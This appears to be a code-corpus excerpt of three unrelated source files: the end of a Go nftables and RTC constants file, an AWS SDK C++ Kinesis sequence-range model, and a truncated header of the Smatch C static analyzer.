0x2\n\tNFT_REJECT_ICMPX_NO_ROUTE = 0x0\n\tNFT_REJECT_ICMPX_PORT_UNREACH = 0x1\n\tNFT_REJECT_ICMPX_HOST_UNREACH = 0x2\n\tNFT_REJECT_ICMPX_ADMIN_PROHIBITED = 0x3\n\tNFTA_REJECT_UNSPEC = 0x0\n\tNFTA_REJECT_TYPE = 0x1\n\tNFTA_REJECT_ICMP_CODE = 0x2\n\tNFT_NAT_SNAT = 0x0\n\tNFT_NAT_DNAT = 0x1\n\tNFTA_NAT_UNSPEC = 0x0\n\tNFTA_NAT_TYPE = 0x1\n\tNFTA_NAT_FAMILY = 0x2\n\tNFTA_NAT_REG_ADDR_MIN = 0x3\n\tNFTA_NAT_REG_ADDR_MAX = 0x4\n\tNFTA_NAT_REG_PROTO_MIN = 0x5\n\tNFTA_NAT_REG_PROTO_MAX = 0x6\n\tNFTA_NAT_FLAGS = 0x7\n\tNFTA_MASQ_UNSPEC = 0x0\n\tNFTA_MASQ_FLAGS = 0x1\n\tNFTA_MASQ_REG_PROTO_MIN = 0x2\n\tNFTA_MASQ_REG_PROTO_MAX = 0x3\n\tNFTA_REDIR_UNSPEC = 0x0\n\tNFTA_REDIR_REG_PROTO_MIN = 0x1\n\tNFTA_REDIR_REG_PROTO_MAX = 0x2\n\tNFTA_REDIR_FLAGS = 0x3\n\tNFTA_DUP_UNSPEC = 0x0\n\tNFTA_DUP_SREG_ADDR = 0x1\n\tNFTA_DUP_SREG_DEV = 0x2\n\tNFTA_FWD_UNSPEC = 0x0\n\tNFTA_FWD_SREG_DEV = 0x1\n\tNFTA_OBJREF_UNSPEC = 0x0\n\tNFTA_OBJREF_IMM_TYPE = 0x1\n\tNFTA_OBJREF_IMM_NAME = 0x2\n\tNFTA_OBJREF_SET_SREG = 0x3\n\tNFTA_OBJREF_SET_NAME = 0x4\n\tNFTA_OBJREF_SET_ID = 0x5\n\tNFTA_GEN_UNSPEC = 0x0\n\tNFTA_GEN_ID = 0x1\n\tNFTA_GEN_PROC_PID = 0x2\n\tNFTA_GEN_PROC_NAME = 0x3\n\tNFTA_FIB_UNSPEC = 0x0\n\tNFTA_FIB_DREG = 0x1\n\tNFTA_FIB_RESULT = 0x2\n\tNFTA_FIB_FLAGS = 0x3\n\tNFT_FIB_RESULT_UNSPEC = 0x0\n\tNFT_FIB_RESULT_OIF = 0x1\n\tNFT_FIB_RESULT_OIFNAME = 0x2\n\tNFT_FIB_RESULT_ADDRTYPE = 0x3\n\tNFTA_FIB_F_SADDR = 0x1\n\tNFTA_FIB_F_DADDR = 0x2\n\tNFTA_FIB_F_MARK = 0x4\n\tNFTA_FIB_F_IIF = 0x8\n\tNFTA_FIB_F_OIF = 0x10\n\tNFTA_FIB_F_PRESENT = 0x20\n\tNFTA_CT_HELPER_UNSPEC = 0x0\n\tNFTA_CT_HELPER_NAME = 0x1\n\tNFTA_CT_HELPER_L3PROTO = 0x2\n\tNFTA_CT_HELPER_L4PROTO = 0x3\n\tNFTA_OBJ_UNSPEC = 0x0\n\tNFTA_OBJ_TABLE = 0x1\n\tNFTA_OBJ_NAME = 0x2\n\tNFTA_OBJ_TYPE = 0x3\n\tNFTA_OBJ_DATA = 0x4\n\tNFTA_OBJ_USE = 0x5\n\tNFTA_TRACE_UNSPEC = 0x0\n\tNFTA_TRACE_TABLE = 0x1\n\tNFTA_TRACE_CHAIN = 0x2\n\tNFTA_TRACE_RULE_HANDLE = 0x3\n\tNFTA_TRACE_TYPE = 0x4\n\tNFTA_TRACE_VERDICT = 0x5\n\tNFTA_TRACE_ID = 0x6\n\tNFTA_TRACE_LL_HEADER = 0x7\n\tNFTA_TRACE_NETWORK_HEADER = 0x8\n\tNFTA_TRACE_TRANSPORT_HEADER = 0x9\n\tNFTA_TRACE_IIF = 0xa\n\tNFTA_TRACE_IIFTYPE = 0xb\n\tNFTA_TRACE_OIF = 0xc\n\tNFTA_TRACE_OIFTYPE = 0xd\n\tNFTA_TRACE_MARK = 0xe\n\tNFTA_TRACE_NFPROTO = 0xf\n\tNFTA_TRACE_POLICY = 0x10\n\tNFTA_TRACE_PAD = 0x11\n\tNFT_TRACETYPE_UNSPEC = 0x0\n\tNFT_TRACETYPE_POLICY = 0x1\n\tNFT_TRACETYPE_RETURN = 0x2\n\tNFT_TRACETYPE_RULE = 0x3\n\tNFTA_NG_UNSPEC = 0x0\n\tNFTA_NG_DREG = 0x1\n\tNFTA_NG_MODULUS = 0x2\n\tNFTA_NG_TYPE = 0x3\n\tNFTA_NG_OFFSET = 0x4\n\tNFT_NG_INCREMENTAL = 0x0\n\tNFT_NG_RANDOM = 0x1\n)\n\ntype RTCTime struct {\n\tSec int32\n\tMin int32\n\tHour int32\n\tMday int32\n\tMon int32\n\tYear int32\n\tWday int32\n\tYday int32\n\tIsdst int32\n}\n\ntype RTCWkAlrm struct {\n\tEnabled uint8\n\tPending uint8\n\t_ [2]byte\n\tTime RTCTime\n}\n\ntype RTCPLLInfo struct {\n\tCtrl int32\n\tValue int32\n\tMax int32\n\tMin int32\n\tPosmult int32\n\tNegmult int32\n\tClock int64\n}\n"} {"text": "/**\n * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.\n * SPDX-License-Identifier: Apache-2.0.\n */\n\n#include <aws/kinesis/model/SequenceNumberRange.h>\n#include <aws/core/utils/json/JsonSerializer.h>\n\n#include <utility>\n\nusing namespace Aws::Utils::Json;\nusing namespace Aws::Utils;\n\nnamespace Aws\n{\nnamespace Kinesis\n{\nnamespace Model\n{\n\nSequenceNumberRange::SequenceNumberRange() : \n m_startingSequenceNumberHasBeenSet(false),\n m_endingSequenceNumberHasBeenSet(false)\n{\n}\n\nSequenceNumberRange::SequenceNumberRange(JsonView jsonValue) : \n m_startingSequenceNumberHasBeenSet(false),\n m_endingSequenceNumberHasBeenSet(false)\n{\n *this = jsonValue;\n}\n\nSequenceNumberRange& SequenceNumberRange::operator =(JsonView jsonValue)\n{\n if(jsonValue.ValueExists(\"StartingSequenceNumber\"))\n {\n m_startingSequenceNumber = jsonValue.GetString(\"StartingSequenceNumber\");\n\n m_startingSequenceNumberHasBeenSet = true;\n }\n\n if(jsonValue.ValueExists(\"EndingSequenceNumber\"))\n {\n m_endingSequenceNumber = jsonValue.GetString(\"EndingSequenceNumber\");\n\n m_endingSequenceNumberHasBeenSet = true;\n }\n\n return *this;\n}\n\nJsonValue SequenceNumberRange::Jsonize() const\n{\n JsonValue payload;\n\n if(m_startingSequenceNumberHasBeenSet)\n {\n payload.WithString(\"StartingSequenceNumber\", m_startingSequenceNumber);\n\n }\n\n if(m_endingSequenceNumberHasBeenSet)\n {\n payload.WithString(\"EndingSequenceNumber\", m_endingSequenceNumber);\n\n }\n\n return payload;\n}\n\n} // namespace Model\n} // namespace Kinesis\n} // namespace Aws\n"} {"text": "/*\n * Copyright (C) 2006 Dan Carpenter.\n *\n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, see http://www.gnu.org/copyleft/gpl.txt\n *\n * Copyright 2019 Joyent, Inc.\n */\n\n#ifndef \tSMATCH_H_\n# define \tSMATCH_H_\n\n#include <stdio.h>\n#include <string.h>\n#include <limits.h>\n#include <float.h>\n#include <sys/time.h>\n#include <sqlite3.h>\n#include \"lib.h\"\n#include \"allocate.h\"\n#include \"scope.h\"\n#include \"parse.h\"\n#include \"expression.h\"\n#include \"avl.h\"\n\ntypedef struct {\n\tstruct symbol *type;\n\tunion {\n\t\tlong long value;\n\t\tunsigned long long uvalue;\n\t\tfloat fvalue;\n\t\tdouble dvalue;\n\t\tlong double ldvalue;\n\t};\n} sval_t;\n\ntypedef long long mtag_t;\n\nstruct smatch_state {\n\tconst char *name;\n\tvoid *data;\n};\n#define STATE(_x) static struct smatch_state _x = { .name = #_x }\nextern struct smatch_state undefined;\nextern struct smatch_state ghost;\nextern struct smatch_state merged;\nextern struct smatch_state true_state;\nextern struct smatch_state false_state;\nDECLARE_ALLOCATOR(smatch_state);\n\nstatic inline void *INT_PTR(int i)\n{\n\treturn (void *)(long)i;\n}\n\nstatic inline int PTR_INT(void *p)\n{\n\treturn (int)(long)p;\n}\n\nstruct tracker {\n\tchar *name;\n\tstruct symbol *sym;\n\tunsigned short owner;\n};\nDECLARE_ALLOCATOR(tracker);\nDECLARE_PTR_LIST(tracker_list, struct tracker);\nDECLARE_PTR_LIST(stree_stack, struct stree);\n\n/* The first 3 struct members must match struct tracker */\nstruct sm_state {\n\tconst char *name;\n\tstruct symbol *sym;\n\tunsigned short owner;\n\tunsigned short merged:1;\n\tunsigned int line;\n \tstruct smatch_state *state;\n\tstruct stree *pool;\n\tstruct sm_state *left;\n\tstruct sm_state *right;\n\tstruct state_list *possible;\n};\n\nstruct var_sym {\n\tchar *var;\n\tstruct symbol *sym;\n};\nDECLARE_ALLOCATOR(var_sym);\nDECLARE_PTR_LIST(var_sym_list, struct var_sym);\n\nstruct constraint {\n\tint op;\n\tint id;\n};\nDECLARE_PTR_LIST(constraint_list, struct constraint);\n\nstruct alloc_info {\n\tconst char *fn;\n\tint size_param, nr;\n};\nextern struct alloc_info *alloc_funcs;\n\nstruct bit_info {\n\tunsigned long long set;\n\tunsigned long long possible;\n};\n\nenum hook_type {\n\tEXPR_HOOK,\n\tEXPR_HOOK_AFTER,\n\tSTMT_HOOK,\n\tSTMT_HOOK_AFTER,\n\tSYM_HOOK,\n\tSTRING_HOOK,\n\tDECLARATION_HOOK,\n\tASSIGNMENT_HOOK,\n\tASSIGNMENT_HOOK_AFTER,\n\tRAW_ASSIGNMENT_HOOK,\n\tGLOBAL_ASSIGNMENT_HOOK,\n\tLOGIC_HOOK,\n\tCONDITION_HOOK,\n\tPRELOOP_HOOK,\n\tSELECT_HOOK,\n\tWHOLE_CONDITION_HOOK,\n\tFUNCTION_CALL_HOOK_BEFORE,\n\tFUNCTION_CALL_HOOK,\n\tCALL_HOOK_AFTER_INLINE,\n\tFUNCTION_CALL_HOOK_AFTER_DB,\n\tCALL_ASSIGNMENT_HOOK,\n\tMACRO_ASSIGNMENT_HOOK,\n\tBINOP_HOOK,\n\tOP_HOOK,\n\tDEREF_HOOK,\n\tCASE_HOOK,\n\tASM_HOOK,\n\tCAST_HOOK,\n\tSIZEOF_HOOK,\n\tBASE_HOOK,\n\tFUNC_DEF_HOOK,\n\tAFTER_DEF_HOOK,\n\tEND_FUNC_HOOK,\n\tAFTER_FUNC_HOOK,\n\tRETURN_HOOK,\n\tINLINE_FN_START,\n\tINLINE_FN_END,\n\tEND_FILE_HOOK,\n\tNUM_HOOKS,\n};\n\n#define TRUE 1\n#define FALSE 0\n\nstruct range_list;\n\nvoid add_hook(void *func, enum hook_type type);\ntypedef struct smatch_state *(merge_func_t)(struct smatch_state *s1, struct smatch_state *s2);\ntypedef struct smatch_state *(unmatched_func_t)(struct sm_state *state);\nvoid add_merge_hook(int client_id, merge_func_t *func);\nvoid add_unmatched_state_hook(int client_id, unmatched_func_t *func);\nvoid add_pre_merge_hook(int client_id, void (*hook)(struct sm_state *cur, struct sm_state *other));\ntypedef void (scope_hook)(void *data);\nvoid add_scope_hook(scope_hook *hook, void *data);\ntypedef void (func_hook)(const char *fn, struct expression *expr, void *data);\ntypedef void (implication_hook)(const char *fn, struct expression *call_expr,\n\t\t\t\tstruct expression *assign_expr, void *data);\ntypedef void (return_implies_hook)(struct expression *call_expr,\n\t\t\t\t int param, char *key, char *value);\ntypedef int (implied_return_hook)(struct expression *call_expr, void *info, struct range_list **rl);\nvoid add_function_hook(const char *look_for, func_hook *call_back, void *data);\n\nvoid add_function_assign_hook(const char *look_for, func_hook *call_back,\n\t\t\t void *info);\nvoid add_implied_return_hook(const char *look_for,\n\t\t\t implied_return_hook *call_back,\n\t\t\t void *info);\nvoid add_macro_assign_hook(const char *look_for, func_hook *call_back,\n\t\t\t void *info);\nvoid add_macro_assign_hook_extra(const char *look_for, func_hook *call_back,\n\t\t\t void *info);\nvoid return_implies_state(const char *look_for, long long start, long long end,\n\t\t\t implication_hook *call_back, void *info);\nvoid return_implies_state_sval(const char *look_for, sval_t start, sval_t end,\n\t\t\t implication_hook *call_back, void *info);\nvoid select_return_states_hook(int type, return_implies_hook *callback);\nvoid select_return_states_before(void (*fn)(void));\nvoid select_return_states_after(void (*fn)(void));\nint get_implied_return(struct expression *expr, struct range_list **rl);\nvoid allocate_hook_memory(void);\nvoid allocate_tracker_array(int num_checks);\n\nstruct modification_data {\n\tstruct smatch_state *prev;\n\tstruct expression *cur;\n};\n\ntypedef void (modification_hook)(struct sm_state *sm, struct expression *mod_expr);\nvoid add_modification_hook(int owner, modification_hook *call_back);\nvoid add_modification_hook_late(int owner, modification_hook *call_back);\nstruct smatch_state *get_modification_state(struct expression *expr);\n\nint outside_of_function(void);\nconst char *get_filename(void);\nconst char *get_base_file(void);\nchar *get_function(void);\nint get_lineno(void);\nextern int final_pass;\nextern struct symbol *cur_func_sym;\nextern int option_debug;\nextern int local_debug;\nextern int debug_db;\nbool debug_implied(void);\nextern int option_info;\nextern int option_spammy;\nextern int option_timeout;\nextern char *trace_variable;\nextern struct stree *global_states;\nint is_skipped_function(void);\nint is_silenced_function(void);\nextern bool implications_off;\n\n/* smatch_impossible.c */\nint is_impossible_path(void);\nvoid set_path_impossible(void);\n\nextern FILE *sm_outfd;\nextern FILE *sql_outfd;\nextern FILE *caller_info_fd;\nextern int sm_nr_checks;\nextern int sm_nr_errors;\nextern const char *progname;\n\n/*\n * How to use these routines:\n *\n * sm_fatal(): an internal error of some kind that should immediately exit\n * sm_ierror(): an internal error\n * sm_perror(): an internal error from parsing input source\n * sm_error(): an error from input source\n * sm_warning(): a warning from input source\n * sm_info(): info message (from option_info)\n * sm_debug(): debug message\n * sm_msg(): other message (please avoid using this)\n */\n\n#define sm_printf(msg...) do {\t\t\t\t\t\t\\\n\tif (final_pass || option_debug || local_debug || debug_db)\t\\\n\t\tfprintf(sm_outfd, msg);\t\t\t\t\t\\\n} while (0)\n\nstatic inline void sm_prefix(void)\n{\n\tsm_printf(\"%s: %s:%d %s() \", progname, get_filename(), get_lineno(), get_function());\n}\n\nstatic inline void print_implied_debug_msg();\n\nextern bool __silence_warnings_for_stmt;\n\n#define sm_print_msg(type, msg...) \\\ndo { \\\n\tprint_implied_debug_msg(); \\\n\tif (!final_pass && !option_debug && !local_debug && !debug_db)\t \\\n\t\tbreak; \\\n\tif (__silence_warnings_for_stmt && !option_debug && !local_debug) \\\n\t\tbreak;\t\t\t\t\t \\\n\tif (!option_info && is_silenced_function())\t \\\n\t\tbreak;\t\t\t\t\t \\\n\tsm_prefix();\t\t\t\t\t \\\n\tif (type == 1) {\t\t\t\t \\\n\t\tsm_printf(\"warn: \");\t\t\t \\\n\t\tsm_nr_checks++;\t\t\t \t \\\n\t} else if (type == 2) {\t\t\t\t \\\n\t\tsm_printf(\"error: \");\t\t\t \\\n\t\tsm_nr_checks++;\t\t\t\t \\\n\t} else if (type == 3) {\t\t\t\t \\\n\t\tsm_printf(\"parse error: \");\t\t \\\n\t\tsm_nr_errors++;\t\t\t\t \\\n\t}\t\t\t\t\t\t \\\n sm_printf(msg); \\\n sm_printf(\"\\n\"); \\\n} while (0)\n\n#define sm_msg(msg...) do { sm_print_msg(0, msg); } while (0)\n\nextern char *implied_debug_msg;\nstatic inline void print_implied_debug_msg(void)\n{\n\tstatic struct symbol *last_printed = NULL;\n\n\tif (!implied_debug_msg)\n\t\treturn;\n\tif (last_printed == cur_func_sym)\n\t\treturn;\n\tlast_printed = cur_func_sym;\n\tsm_msg(\"%s\", implied_debug_msg);\n}\n\n#define sm_debug(msg...) do { if (option_debug) sm_printf(msg); } while (0)\n#define db_debug(msg...) do { if (option_debug || debug_db) sm_printf(msg); } while (0)\n\n#define sm_info(msg...) do {\t\t\t\t\t\\\n\tif (option_debug || (option_info && final_pass)) {\t\\\n\t\tsm_prefix();\t\t\t\t\t\\\n\t\tsm_printf(\"info: \");\t\t\t\t\\\n\t\tsm_printf(msg);\t\t\t\t\t\\\n\t\tsm_printf(\"\\n\");\t\t\t\t\\\n\t}\t\t\t\t\t\t\t\\\n} while(0)\n\n#define sm_warning(msg...) do { sm_print_msg(1, msg); } while (0)\n#define sm_error(msg...) do { sm_print_msg(2, msg); } while (0)\n#define sm_perror(msg...) do { sm_print_msg(3, msg); } while (0)\n\nstatic inline void sm_fatal(const char *fmt, ...)\n{\n\tva_list args;\n\n\tva_start(args, fmt);\n\tvfprintf(sm_outfd, fmt, args);\n\tva_end(args);\n\n\tfprintf(sm_outfd, \"\\n\");\n\n\texit(1);\n}\n\nstatic inline void sm_ierror(const char *fmt, ...)\n{\n\tva_list args;\n\n\tsm_nr_errors++;\n\n\tfprintf(sm_outfd, \"internal error: \");\n\n\tva_start(args, fmt);\n\tvfprintf(sm_outfd, fmt, args);\n\tva_end(args);\n\n\tfprintf(sm_outfd, \"\\n\");\n}\n#define ALIGN(x, a) (((x) + (a) - 1) & ~((a) - 1))\n\nstruct smatch_state *__get_state(int owner, const char *name, struct symbol *sym);\nstruct smatch_state *get_state(int owner, const char *name, struct symbol *sym);\nstruct smatch_state *get_state_expr(int owner, struct expression *expr);\nstruct state_list *get_possible_states(int owner, const char *name,\n\t\t\t\t struct symbol *sym);\nstruct state_list *get_possible_states_expr(int owner, struct expression *expr);\nstruct sm_state *set_state(int owner, const char *name, struct symbol *sym,\n\t struct smatch_state *state);\nstruct sm_state *set_state_expr(int owner, struct expression *expr,\n\t\tstruct smatch_state *state);\nvoid delete_state(int owner, const char *name, struct symbol *sym);\nvoid delete_state_expr(int owner, struct expression *expr);\nvoid __delete_all_states_sym(struct symbol *sym);\nvoid set_true_false_states(int owner, const char *name, struct symbol *sym,\n\t\t\t struct smatch_state *true_state,\n\t\t\t struct smatch_state *false_state);\nvoid set_true_false_states_expr(int owner, struct expression *expr,\n\t\t\t struct smatch_state *true_state,\n\t\t\t struct smatch_state *false_state);\n\nstruct stree *get_all_states_from_stree(int owner, struct stree *source);\nstruct stree *get_all_states_stree(int id);\nstruct stree *__get_cur_stree(void);\nint is_reachable(void);\nvoid add_get_state_hook(void (*fn)(int owner, const char *name, struct symbol *sym));\n\n/* smatch_helper.c */\nDECLARE_PTR_LIST(int_stack, int);\nchar *alloc_string(const char *str);\nchar *alloc_string_newline(const char *str);\nvoid free_string(char *str);\nvoid append(char *dest, const char *data, int buff_len);\nvoid remove_parens(char *str);\nstruct smatch_state *alloc_state_num(int num);\nstruct smatch_state *alloc_state_str(const char *name);\nstruct smatch_state *merge_str_state(struct smatch_state *s1, struct smatch_state *s2);\nstruct smatch_state *alloc_state_expr(struct expression *expr);\nstruct expression *get_argument_from_call_expr(struct expression_list *args,\n\t\t\t\t\t int num);\nstruct expression *get_array_expr(struct expression *expr);\n\nchar *expr_to_var(struct expression *expr);\nstruct symbol *expr_to_sym(struct expression *expr);\nchar *expr_to_str(struct expression *expr);\nchar *expr_to_str_sym(struct expression *expr,\n\t\t\t\t struct symbol **sym_ptr);\nchar *expr_to_var_sym(struct expression *expr,\n\t\t\t struct symbol **sym_ptr);\nchar *expr_to_known_chunk_sym(struct expression *expr, struct symbol **sym);\nchar *expr_to_chunk_sym_vsl(struct expression *expr, struct symbol **sym, struct var_sym_list **vsl);\nint get_complication_score(struct expression *expr);\n\nint sym_name_is(const char *name, struct expression *expr);\nint get_const_value(struct expression *expr, sval_t *sval);\nint get_value(struct expression *expr, sval_t *val);\nint get_implied_value(struct expression *expr, sval_t *val);\nint get_implied_value_fast(struct expression *expr, sval_t *sval);\nint get_implied_min(struct expression *expr, sval_t *sval);\nint get_implied_max(struct expression *expr, sval_t *val);\nint get_hard_max(struct expression *expr, sval_t *sval);\nint get_fuzzy_min(struct expression *expr, sval_t *min);\nint get_fuzzy_max(struct expression *expr, sval_t *max);\nint get_absolute_min(struct expression *expr, sval_t *sval);\nint get_absolute_max(struct expression *expr, sval_t *sval);\nint parse_call_math(struct expression *expr, char *math, sval_t *val);\nint parse_call_math_rl(struct expression *call, const char *math, struct range_list **rl);\nconst char *get_allocation_math(struct expression *expr);\nchar *get_value_in_terms_of_parameter_math(struct expression *expr);\nchar *get_value_in_terms_of_parameter_math_var_sym(const char *var, struct symbol *sym);\nint expr_is_zero(struct expression *expr);\nint known_condition_true(struct expression *expr);\nint known_condition_false(struct expression *expr);\nint implied_condition_true(struct expression *expr);\nint implied_condition_false(struct expression *expr);\nint can_integer_overflow(struct symbol *type, struct expression *expr);\nvoid clear_math_cache(void);\nvoid set_fast_math_only(void);\nvoid clear_fast_math_only(void);\n\nint is_array(struct expression *expr);\nstruct expression *get_array_base(struct expression *expr);\nstruct expression *get_array_offset(struct expression *expr);\nconst char *show_state(struct smatch_state *state);\nstruct statement *get_expression_statement(struct expression *expr);\nstruct expression *strip_parens(struct expression *expr);\nstruct expression *strip_expr(struct expression *expr);\nstruct expression *strip_expr_set_parent(struct expression *expr);\nvoid scoped_state(int my_id, const char *name, struct symbol *sym);\nint is_error_return(struct expression *expr);\nint getting_address(struct expression *expr);\nint get_struct_and_member(struct expression *expr, const char **type, const char **member);\nchar *get_member_name(struct expression *expr);\nchar *get_fnptr_name(struct expression *expr);\nint cmp_pos(struct position pos1, struct position pos2);\nint positions_eq(struct position pos1, struct position pos2);\nstruct statement *get_current_statement(void);\nstruct statement *get_prev_statement(void);\nstruct expression *get_last_expr_from_expression_stmt(struct expression *expr);\n\n#define RETURN_VAR -1\n#define LOCAL_SCOPE -2\n#define FILE_SCOPE -3\n#define GLOBAL_SCOPE -4\n#define UNKNOWN_SCOPE -5\nint get_param_num_from_sym(struct symbol *sym);\nint get_param_num(struct expression *expr);\nstruct symbol *get_param_sym_from_num(int num);\n\nint ms_since(struct timeval *start);\nint parent_is_gone_var_sym(const char *name, struct symbol *sym);\nint parent_is_gone(struct expression *expr);\nint invert_op(int op);\nint op_remove_assign(int op);\nint expr_equiv(struct expression *one, struct expression *two);\nvoid push_int(struct int_stack **stack, int num);\nint pop_int(struct int_stack **stack);\n\n/* smatch_type.c */\nstruct symbol *get_real_base_type(struct symbol *sym);\nint type_bytes(struct symbol *type);\nint array_bytes(struct symbol *type);\nstruct symbol *get_pointer_type(struct expression *expr);\nstruct symbol *get_type(struct expression *expr);\nstruct symbol *get_final_type(struct expression *expr);\nstruct symbol *get_promoted_type(struct symbol *left, struct symbol *right);\nint type_signed(struct symbol *base_type);\nint expr_unsigned(struct expression *expr);\nint expr_signed(struct expression *expr);\nint returns_unsigned(struct symbol *base_type);\nint is_pointer(struct expression *expr);\nint returns_pointer(struct symbol *base_type);\nsval_t sval_type_max(struct symbol *base_type);\nsval_t sval_type_min(struct symbol *base_type);\nint nr_bits(struct expression *expr);\nint is_void_pointer(struct expression *expr);\nint is_char_pointer(struct expression *expr);\nint is_string(struct expression *expr);\nbool is_struct_ptr(struct symbol *type);\nint is_static(struct expression *expr);\nbool is_local_variable(struct expression *expr);\nint types_equiv(struct symbol *one, struct symbol *two);\nbool type_fits(struct symbol *type, struct symbol *test);\nint fn_static(void);\nconst char *global_static();\nstruct symbol *cur_func_return_type(void);\nstruct symbol *get_arg_type(struct expression *fn, int arg);\nstruct symbol *get_member_type_from_key(struct expression *expr, const char *key);\nstruct symbol *get_arg_type_from_key(struct expression *fn, int param, struct expression *arg, const char *key);\nint is_struct(struct expression *expr);\nchar *type_to_str(struct symbol *type);\n\n/* smatch_ignore.c */\nvoid add_ignore(int owner, const char *name, struct symbol *sym);\nint is_ignored(int owner, const char *name, struct symbol *sym);\nvoid add_ignore_expr(int owner, struct expression *expr);\nint is_ignored_expr(int owner, struct expression *expr);\n\n/* smatch_var_sym */\nstruct var_sym *alloc_var_sym(const char *var, struct symbol *sym);\nstruct var_sym_list *expr_to_vsl(struct expression *expr);\nvoid add_var_sym(struct var_sym_list **list, const char *var, struct symbol *sym);\nvoid add_var_sym_expr(struct var_sym_list **list, struct expression *expr);\nvoid del_var_sym(struct var_sym_list **list, const char *var, struct symbol *sym);\nint in_var_sym_list(struct var_sym_list *list, const char *var, struct symbol *sym);\nstruct var_sym_list *clone_var_sym_list(struct var_sym_list *from_vsl);\nvoid merge_var_sym_list(struct var_sym_list **dest, struct var_sym_list *src);\nstruct var_sym_list *combine_var_sym_lists(struct var_sym_list *one, struct var_sym_list *two);\nint var_sym_lists_equiv(struct var_sym_list *one, struct var_sym_list *two);\nvoid free_var_sym_list(struct var_sym_list **list);\nvoid free_var_syms_and_list(struct var_sym_list **list);\n\n/* smatch_tracker */\nstruct tracker *alloc_tracker(int owner, const char *name, struct symbol *sym);\nvoid add_tracker(struct tracker_list **list, int owner, const char *name,\n\t\tstruct symbol *sym);\nvoid add_tracker_expr(struct tracker_list **list, int owner, struct expression *expr);\nvoid del_tracker(struct tracker_list **list, int owner, const char *name,\n\t\tstruct symbol *sym);\nint in_tracker_list(struct tracker_list *list, int owner, const char *name,\n\t\tstruct symbol *sym);\nvoid free_tracker_list(struct tracker_list **list);\nvoid free_trackers_and_list(struct tracker_list **list);\n\n/* smatch_conditions */\nint in_condition(void);\n\n/* smatch_flow.c */\n\nextern int __in_fake_assign;\nextern int __in_fake_parameter_assign;\nextern int __in_fake_struct_assign;\nextern int in_fake_env;\nvoid smatch (struct string_list *filelist);\nint inside_loop(void);\nint definitely_inside_loop(void);\nstruct expression *get_switch_expr(void);\nint in_expression_statement(void);\nvoid __process_post_op_stack(void);\nvoid __split_expr(struct expression *expr);\nvoid __split_label_stmt(struct statement *stmt);\nvoid __split_stmt(struct statement *stmt);\nextern int __in_function_def;\nextern int __in_unmatched_hook;\nextern int option_assume_loops;\nextern int option_two_passes;\nextern int option_no_db;\nextern int option_file_output;\nextern int option_time;\nextern struct expression_list *big_expression_stack;\nextern struct expression_list *big_condition_stack;\nextern struct statement_list *big_statement_stack;\nint is_assigned_call(struct expression *expr);\nint inlinable(struct expression *expr);\nextern int __inline_call;\nextern struct expression *__inline_fn;\nextern int __in_pre_condition;\nextern int __bail_on_rest_of_function;\nextern struct statement *__prev_stmt;\nextern struct statement *__cur_stmt;\nextern struct statement *__next_stmt;\nvoid init_fake_env(void);\nvoid end_fake_env(void);\nint time_parsing_function(void);\nbool taking_too_long(void);\n\n/* smatch_struct_assignment.c */\nstruct expression *get_faked_expression(void);\nvoid __fake_struct_member_assignments(struct expression *expr);\n\n/* smatch_project.c */\nint is_no_inline_function(const char *function);\n\n/* smatch_conditions */\nvoid __split_whole_condition(struct expression *expr);\nvoid __handle_logic(struct expression *expr);\nint is_condition(struct expression *expr);\nint __handle_condition_assigns(struct expression *expr);\nint __handle_select_assigns(struct expression *expr);\nint __handle_expr_statement_assigns(struct expression *expr);\n\n/* smatch_implied.c */\nstruct range_list_stack;\nvoid param_limit_implications(struct expression *expr, int param, char *key, char *value, struct stree **implied);\nstruct stree *__implied_case_stree(struct expression *switch_expr,\n\t\t\t\t struct range_list *case_rl,\n\t\t\t\t struct range_list_stack **remaining_cases,\n\t\t\t\t struct stree **raw_stree);\nvoid overwrite_states_using_pool(struct sm_state *gate_sm, struct sm_state *pool_sm);\nint assume(struct expression *expr);\nvoid end_assume(void);\nint impossible_assumption(struct expression *left, int op, sval_t sval);\n\n/* smatch_slist.h */\nbool has_dynamic_states(unsigned short owner);\nvoid set_dynamic_states(unsigned short owner);\n\n/* smatch_extras.c */\nint in_warn_on_macro(void);\n#define SMATCH_EXTRA 5 /* this is my_id from smatch extra set in smatch.c */\nextern int RETURN_ID;\n\nstruct data_range {\n\tsval_t min;\n\tsval_t max;\n};\n\n#define MTAG_ALIAS_BIT (1ULL << 63)\n#define MTAG_OFFSET_MASK 0xfffULL\n#define MTAG_SEED 0xdead << 12\n\nconst extern unsigned long valid_ptr_min;\nextern unsigned long valid_ptr_max;\nextern const sval_t valid_ptr_min_sval;\nextern sval_t valid_ptr_max_sval;\nextern struct range_list *valid_ptr_rl;\nvoid alloc_valid_ptr_rl(void);\n\nstatic const sval_t array_min_sval = {\n\t.type = &ptr_ctype,\n\t{.value = 100000},\n};\nstatic const sval_t array_max_sval = {\n\t.type = &ptr_ctype,\n\t{.value = ULONG_MAX - 4095},\n};\nstatic const sval_t text_seg_min = {\n\t.type = &ptr_ctype,\n\t{.value = 4096},\n};\nstatic const sval_t text_seg_max = {\n\t.type = &ptr_ctype,\n\t{.value = ULONG_MAX - 4095},\n};\nstatic const sval_t data_seg_min = {\n\t.type = &ptr_ctype,\n\t{.value = 4096},\n};\nstatic const sval_t data_seg_max = {\n\t.type = &ptr_ctype,\n\t{.value = ULONG_MAX - 4095},\n};\nstatic const sval_t bss_seg_min = {\n\t.type = &ptr_ctype,\n\t{.value = 4096},\n};\nstatic const sval_t bss_seg_max = {\n\t.type = &ptr_ctype,\n\t{.value = ULONG_MAX - 4095},\n};\nstatic const sval_t stack_seg_min = {\n\t.type = &ptr_ctype,\n\t{.value = 4096},\n};\nstatic const sval_t stack_seg_max = {\n\t.type = &ptr_ctype,\n\t{.value = ULONG_MAX - 4095},\n};\nstatic const sval_t kmalloc_seg_min = {\n\t.type = &ptr_ctype,\n\t{.value = 4096},\n};\nstatic const sval_t kmalloc_seg_max = {\n\t.type = &ptr_ctype,\n\t{.value = ULONG_MAX - 4095},\n};\nstatic const sval_t vmalloc_seg_min = {\n\t.type = &ptr_ctype,\n\t{.value = 4096},\n};\nstatic const sval_t vmalloc_seg_max = {\n\t.type = &ptr_ctype,\n\t{.value 